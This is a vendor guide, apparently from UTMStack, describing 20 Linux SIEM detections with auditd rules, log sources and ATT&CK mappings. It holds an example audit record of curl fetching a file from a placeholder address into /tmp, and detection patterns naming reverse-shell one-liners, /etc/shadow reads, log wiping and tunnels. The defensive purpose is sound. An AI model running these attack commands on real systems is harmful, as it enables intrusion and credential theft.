
Most guides to SIEM (security information and event management) use cases are written for Windows. They list event IDs, domain controllers and Kerberos tickets. Yet the servers that face the internet, run the databases and host the containers are mostly Linux, and Linux does not hand you a tidy list of event IDs. A default install records who logged in and little else. It does not record which commands ran.
This guide lists 20 Linux use cases worth running in any SIEM, the log each one depends on, and what the detection looks for. For each one we also say whether UTMStack ships the rule or whether you add it yourself. For the Windows side, see our Active Directory SIEM use cases.
The short answer: the most useful Linux SIEM use cases are SSH brute force followed by a successful login, reverse shells, downloads into temporary folders, changes to sudoers and admin groups, new SSH authorized keys, new cron jobs and systemd units, reads of /etc/shadow, kernel module loads, and attempts to stop auditd or syslog. Login detections work from the authentication log. Almost everything else needs the Linux audit service (auditd) recording every command that runs, which is off by default.
Where each detection catches an attacker on Linux
The 20 use cases along a typical server intrusion, with the log each one reads
- Get inGuess or reuse a passwordSSH brute force
auth logPassword sprayingauth logcustomRoot or unexpected loginauth logcustom - Run codeGet a shell and toolsReverse shell
audit: commandsDownload to a temporary folderaudit: commandsDecode piped to a shellaudit: commands - Gain privilegeBecome rootSudoers change
audit: file watchcustomUser added to admin groupaudit: commandsSetuid bit setaudit: commandsKernel module loadaudit: commandsRead of /etc/shadowaudit: commands - StaySurvive a rebootNew local account
audit: commandsSSH authorized keysaudit: commandsCron and systemd timerscron log, auditUnits, shell files, preloadjournal, auditSSH or PAM settingsaudit: file watchcustom - Hide and actBlind you, then use the serverLogging or auditing stopped
audit: commandsLog files deletedaudit: commandsTunnelsaudit, sshd logCryptomineraudit: commands
Before you start: the logs these detections need
A detection cannot fire on an event that was never written. On Linux that is the usual reason a use case fails. These are the sources to collect:
| Log source | Where it lives | What it gives you |
|---|---|---|
| Authentication log | /var/log/auth.log on Debian and Ubuntu, /var/log/secure on Red Hat compatible systems, and the systemd journal | SSH logins and failures, sudo commands, su, account changes |
| Systemd journal | Read with journalctl | Service starts and stops, cron, kernel messages, and the authentication messages above |
| Audit log | /var/log/audit/audit.log, written by auditd | Every command run (if you add a rule), file changes you choose to watch, logins, account changes, SELinux denials |
| Package manager logs | /var/log/dpkg.log and /var/log/apt/history.log, or /var/log/dnf.log | What was installed, removed or updated, and when |
| Application logs | Web server, database and container runtime logs | Attacks on the service itself, which usually come before anything in this list |
Some newer distributions no longer write /var/log/auth.log or /var/log/syslog by default and keep those messages only in the journal. Collect the journal and you get them either way.
The audit rules that make command detections possible
Out of the box, auditd records logins and a few system events. It does not record commands. Two rules change that, by logging every program start (the execve system call) on 64-bit and 32-bit paths:
-a always,exit -F arch=b64 -S execve -k exec
-a always,exit -F arch=b32 -S execve -k exec
File watches cover the changes that matter most. Each watch writes an event when the file is written to or its attributes change:
-w /etc/sudoers -p wa -k sudoers
-w /etc/sudoers.d -p wa -k sudoers
-w /etc/passwd -p wa -k identity
-w /etc/shadow -p wa -k identity
-w /etc/group -p wa -k identity
-w /etc/ssh/sshd_config -p wa -k sshd
-w /etc/pam.d -p wa -k pam
-w /etc/crontab -p wa -k cron
-w /etc/cron.d -p wa -k cron
-w /var/spool/cron -p wa -k cron
-w /etc/systemd/system -p wa -k systemd
-w /etc/ld.so.preload -p wa -k preload
-a always,exit -F arch=b64 -S init_module,finit_module,delete_module -k modules
Put them in a file under /etc/audit/rules.d/ and load them with augenrules --load. The text after -k is a label of your choice that appears in every matching event, which makes SIEM rules easy to write.
A common mistake is to limit the execve rule to real users with a filter such as auid>=1000. The audit user ID (auid) is the account that originally logged in, and it stays the same through sudo and su. Services, cron jobs and web server workers have no login session, so their auid is unset (shown as 4294967295). A filter on real users hides exactly the processes a web shell or a compromised service runs as.
How to read one audit event
Illustration: a web server account downloads a file into /tmp. One event is several records that share an ID.
type=EXECVE msg=audit(1794885164.512:4821) argc=4 a0="curl" a1="-o" a2="/tmp/.x" a3="http://203.0.113.45/x"7
- Time and event number. Records with the same number belong to one event; your SIEM or agent should join them.
- System call 59 is execve on 64-bit x86: a program was started.
- No login session. This was a service, not a person at a terminal.
- The account the process ran as. On Debian and Ubuntu, 33 is the web server account www-data.
- The program that ran.
- The label from your audit rule.
- The full command line, one argument per field.
Getting in
1. SSH brute force followed by a login
Logs: authentication log or audit USER_AUTH records. Look for sshd lines such as “Failed password for” and “Accepted password for”. Look for: many failures for one account from one address, then a success from the same address. Failures alone are background noise on any server that faces the internet. The success after them is the alert. MITRE ATT&CK: T1110. UTMStack: built in. The rule fires on a successful login that follows 10 or more failures for the same user and address within 15 minutes.
2. Password spraying
Logs: authentication log. Look for: one address failing against many different accounts with one or two attempts each, including “Invalid user” lines for accounts that do not exist. Counting per account misses this, so count distinct accounts per source. MITRE ATT&CK: T1110.003. UTMStack: add as a custom rule that counts distinct users per source address.
3. Root or unexpected SSH logins
Logs: authentication log (“Accepted password for root”, “Accepted publickey for”). Look for: direct root logins, password logins on servers that should accept keys only, and logins to service accounts that people never use. On most servers each of these should be zero. MITRE ATT&CK: T1078.003. UTMStack: add as a custom rule with your own list of allowed accounts and source networks.
Running code
4. Reverse shells
Logs: audit command events.
Look for: command lines that connect a shell to a remote address: bash -i with /dev/tcp, netcat with -e, socat with exec, a named pipe fed into netcat, or Python, Perl, PHP and Ruby one-liners that open a socket. Also watch for the follow-up, where an attacker upgrades to an interactive terminal with pty.spawn.
MITRE ATT&CK: T1059.004. UTMStack: built in, as several rules that cover these patterns.
5. Tools downloaded into temporary folders
Logs: audit command events. Look for: wget or curl writing into /tmp, /var/tmp or /dev/shm, and programs then started from those folders. Legitimate software rarely installs itself there. Attackers use them because any account can write to them. MITRE ATT&CK: T1105. UTMStack: built in, with a second rule for programs run from temporary folders that ignores package managers.
6. Decoded content piped into a shell
Logs: audit command events.
Look for: base64 -d or openssl enc -d whose output goes straight to sh or bash. This is how a payload is hidden from simple text matching until the moment it runs.
MITRE ATT&CK: T1140. UTMStack: built in.
Gaining privilege
7. Changes to sudoers
Logs: audit file watch on /etc/sudoers and /etc/sudoers.d. Look for: any write outside your configuration management tool. One added line, such as a NOPASSWD entry, turns an ordinary account into root. MITRE ATT&CK: T1548.003. UTMStack: add as a custom rule. The agent already places the audit watch on both paths, so the events arrive; you write the rule that alerts on them.
8. User added to an admin group
Logs: audit command events for usermod and gpasswd, or changes to /etc/group.
Look for: an account added to sudo (Debian and Ubuntu) or wheel (Red Hat compatible systems), or to groups such as docker that amount to root.
MITRE ATT&CK: T1098. UTMStack: built in for usermod -aG sudo. Add a custom variant for wheel, docker and gpasswd.
9. Setuid or setgid bit set on a file
Logs: audit command events.
Look for: chmod with +s, u+s, g+s or modes such as 4755. A setuid copy of a shell is a simple way to keep root after losing the original access.
MITRE ATT&CK: T1548.001. UTMStack: built in.
10. Kernel module loaded by hand
Logs: audit command events for insmod and modprobe, or the module system calls. Look for: modules loaded from home or temporary folders, or at any time on servers whose drivers never change. A malicious module can hide files, processes and connections from every other tool. MITRE ATT&CK: T1547.006. UTMStack: built in for insmod loads and for module removal.
11. Reads of the password hash file
Logs: audit command events. Look for: cat, cp or other tools touching /etc/shadow, by anything other than the login and account management programs. Copying it is the Linux version of dumping password hashes. MITRE ATT&CK: T1003.008. UTMStack: built in, with exceptions for passwd, useradd, usermod and login.
Staying
12. New local accounts
Logs: audit command events for useradd and adduser, or audit ADD_USER records. Look for: accounts created outside your provisioning process, and especially accounts created with user ID 0. MITRE ATT&CK: T1136.001. UTMStack: built in, with a second rule for accounts deleted or locked.
13. SSH authorized keys changed
Logs: audit command events, or a file watch on each user’s .ssh folder. Look for: a new line in any authorized_keys file. A planted key lets the attacker return without a password, and it survives a password reset. MITRE ATT&CK: T1098.004. UTMStack: built in. The rule reads command lines that mention authorized_keys, so test it with the way your team edits keys, and add a file watch for accounts that matter.
14. Cron jobs and systemd timers
Logs: cron messages in the journal (REPLACE and EDIT lines from crontab), audit watches on the cron folders, and audit command events for systemctl. Look for: crontab edits by service accounts, new files in /etc/cron.d, and timers enabled outside a deployment. MITRE ATT&CK: T1053.003 and T1053.006. UTMStack: built in for both.
15. Systemd units, shell startup files and library preloading
Logs: journal messages from systemd, audit command events, and file watches on /etc/systemd/system and /etc/ld.so.preload. Look for: unit files that start programs from /tmp or /dev/shm, writes to .bashrc, .profile or /etc/profile.d, and any use of LD_PRELOAD or /etc/ld.so.preload, which loads an attacker’s code into every program. MITRE ATT&CK: T1543.002, T1546.004 and T1574.006. UTMStack: built in as three rules. They read command lines and systemd messages, so test them with your own changes.
16. SSH server or PAM settings changed
Logs: audit file watches on /etc/ssh/sshd_config and /etc/pam.d. Look for: root login or password login switched back on, and any change to the PAM (pluggable authentication modules) files that decide how every login is checked. MITRE ATT&CK: T1556.003 for PAM. UTMStack: add as a custom rule. The agent already watches both paths.
Hiding and acting
17. Logging or auditing switched off
Logs: audit command events.
Look for: systemctl or service commands that stop, disable or mask auditd, rsyslog, syslog-ng or journald, and setenforce 0, which turns off SELinux enforcement. Pair this with an alert for any server that goes quiet.
MITRE ATT&CK: T1562.001 and T1562.012. UTMStack: built in, including a rule for attempts to stop the UTMStack agent itself.
18. Log files deleted or shredded
Logs: audit command events. Look for: rm or shred aimed at /var/log/wtmp, btmp, lastlog, auth.log, secure, syslog or messages, and cleared shell history. MITRE ATT&CK: T1070.002. UTMStack: built in.
19. Tunnels out of the server
Logs: audit command events and sshd messages.
Look for: ssh started with -L, -R or -D, sshd forwarding messages, and tunneling tools such as iodine (DNS) or EarthWorm. Tunnels turn one compromised server into a doorway to the rest of the network.
MITRE ATT&CK: T1572. UTMStack: built in.
20. Cryptominers
Logs: audit command events. Look for: known miner program names such as xmrig, and command lines that contain a mining pool address starting with stratum+tcp or stratum+ssl. Miners are the most common thing dropped on a compromised Linux server, and they often arrive with a second, quieter tool. MITRE ATT&CK: T1496. UTMStack: built in.
All 20 at a glance
| # | Use case | Log it needs | UTMStack |
|---|---|---|---|
| 1 | SSH brute force then login | Authentication log | Built in |
| 2 | Password spraying | Authentication log | Custom rule |
| 3 | Root or unexpected SSH login | Authentication log | Custom rule |
| 4 | Reverse shell | Audit: commands | Built in |
| 5 | Download to a temporary folder | Audit: commands | Built in |
| 6 | Decode piped to a shell | Audit: commands | Built in |
| 7 | Sudoers change | Audit: file watch | Custom rule |
| 8 | User added to admin group | Audit: commands | Built in (sudo group) |
| 9 | Setuid or setgid bit set | Audit: commands | Built in |
| 10 | Kernel module load | Audit: commands | Built in |
| 11 | Read of /etc/shadow | Audit: commands | Built in |
| 12 | New local account | Audit: commands | Built in |
| 13 | SSH authorized keys changed | Audit: commands or file watch | Built in |
| 14 | Cron jobs and systemd timers | Cron log, audit | Built in |
| 15 | Units, shell files, preload | Journal, audit | Built in |
| 16 | SSH or PAM settings changed | Audit: file watch | Custom rule |
| 17 | Logging or auditing stopped | Audit: commands | Built in |
| 18 | Log files deleted | Audit: commands | Built in |
| 19 | Tunnels | Audit: commands, sshd log | Built in |
| 20 | Cryptominer | Audit: commands | Built in |
Which to turn on first
If you can only do a few this week, start with the ones that rarely fire by accident and cost the most when missed:
- Logging or auditing switched off, and log files deleted. They protect every other detection.
- Reverse shells and downloads into temporary folders. These catch an intrusion in its first minutes.
- Sudoers, admin groups and authorized keys. Rare in normal work, decisive in an attack.
- Brute force followed by a login. Ignore the failures. Alert on the success.
- Cron, timers and units. Tune them against your deployment tool first, then leave them on.
How to keep the noise down
Command logging is the loudest source on a Linux server. A busy build machine or container host can start thousands of programs a minute. A few habits keep it usable:
- Exclude by program, not by account. Drop known chatty programs from your monitoring agents and health checks. Do not drop root or service accounts.
- Treat discovery commands as context. whoami, id, ps and netstat run all day. One of them is nothing. Six of them in a minute from a web server account is a person looking around.
- Name your deployment tool. Most false alarms on sudoers, cron and systemd come from configuration management. Add its account or host as an exception once, in a shared list.
- Alert on silence. A server that stops sending logs has a full disk, a dead agent or an intruder.
More on this in our guide to reducing SIEM false positives.
How UTMStack handles Linux
We build UTMStack, so weigh our view accordingly. Here is what the product does on Linux today, and what it does not.
The Linux agent is part of the free Community edition. It follows the systemd journal and reads /var/log/audit/audit.log. On install it adds the audit service if it is missing and places its own rule file at /etc/audit/rules.d/50-utmstack.rules. That file logs every command with no filter on the login user, for the reason given above, and watches the identity files, sudoers, the SSH server settings, cron, systemd units, /etc/ld.so.preload, PAM, the login record files and kernel module loads. It adds to your existing audit rules and does not replace them. It skips this setup inside containers.
UTMStack ships 70 detection rules for Linux, each mapped to MITRE ATT&CK. Rules are checked as each log arrives, before storage, so an alert does not wait for a scheduled search. Response flows for Linux can block the attacking address, disable the user or isolate the host.
UTMStack's 70 built-in Linux rules by attack stage
Number of rules per MITRE ATT&CK tactic, counted from the rule files in UTMStack 12
The limits matter as much as the list:
- Four of the 20 use cases are yours to write. Password spraying, unexpected logins, sudoers changes, and SSH or PAM setting changes have no built-in rule. The rule editor uses the same fields as the built-in rules.
- Several rules match command text. A rule that looks for a command line catches the obvious form of an attack and can miss an unusual one. Test the detections that matter to you, as described in the questions below.
- No file integrity monitoring. Audit watches tell you a file changed and who changed it. UTMStack does not compare file hashes against a baseline.
- No per-connection network logging from the agent. The agent does not record every outbound connection a server makes. Use firewall, NetFlow or Suricata data for that.
- The discovery rules are noisy by design. Ten of the 70 flag commands such as whoami and ps. Use them as context for other alerts, or tune them, before you page anyone.
See the rules on sample data in the live demo, or install the free edition and add a Linux server. The threat detection page explains how rules and correlation work. UTMStack is priced per device, never by log volume, so turning on command logging does not change the bill; see pricing.
Frequently asked questions
Which Linux logs should I send to a SIEM? The authentication log, the systemd journal and the audit log, plus the logs of whatever the server exists to run, such as a web server or database. If you must choose one to add, choose the audit log with command logging turned on. For the wider picture, see what logs should be sent to a SIEM.
Do I need auditd, or is syslog enough? Syslog and the journal are enough for login detections. They do not record which commands ran or which files changed. Seventeen of the 20 use cases here use the audit log, and fourteen cannot work without it.
Does auditd slow a server down? Logging every command adds work in proportion to how many programs the server starts. On most servers it is not noticeable. On build machines and busy container hosts, measure first and exclude the noisiest programs. Do not add a rule for every network connection; that volume is far higher.
Is there a Linux version of Windows event IDs? The closest thing is the audit record type, such as USER_AUTH for an authentication attempt, USER_CMD for a sudo command, ADD_USER for a new account and EXECVE for a command line. Authentication log lines have no ID at all, so SIEM rules match on their text.
How do I test that the detections work? Run the Linux tests from an open source library such as Atomic Red Team on a lab server, then confirm each one raises the expected alert. Repeat after every change to audit rules or agents.
Can these detections run in a free SIEM? Yes. UTMStack’s free Community edition includes the Linux agent, the built-in Linux rules and the rule editor for custom rules.


